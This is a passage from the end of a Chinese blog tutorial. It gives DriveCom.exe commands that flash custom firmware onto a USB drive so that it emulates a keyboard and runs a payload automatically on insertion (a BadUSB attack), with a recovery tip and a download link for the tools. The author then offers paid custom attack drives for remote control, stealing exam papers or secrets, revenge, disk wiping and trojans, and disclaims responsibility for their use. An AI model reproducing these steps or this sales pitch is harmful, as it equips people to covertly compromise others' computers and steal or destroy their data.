
(1)执行

DriveCom.exe /drive=E /action=SetBootMode

设置U盘模式 

(2)执行

DriveCom.exe /drive=E /action=SendExecutable /burner=BN03V104M.BIN

操作burner 

(3)执行

DriveCom.exe /drive=E /action=SendFirmware /burner=BN03V104M.BIN /firmware=fw.bin

将fw.bin刷入U盘 

0x04 小结 

刷入成功后,下次插入U盘会模拟键盘操作,自动执行Payload 

0x05 补充 

如果刷坏或者想更改Payload,需要短接39和40针,再用官方刷写工具刷新 

相关工具以及国外的工具资料包请在这里下载:00.png

链接: http://pan.baidu.com/s/1jIm22bk 密码: mrxn

欢迎私聊博主个人定制哦!价格实惠,保你满意,远控女神?试卷?老师的秘密?报复?格盘?改后缀?木马?都可以!哈哈

我只负责制作,怎么用那是你的事儿!你也可以自己按照教程制作,喜欢折腾的慢慢折腾去吧!



admin 发布于  2016-4-1 13:34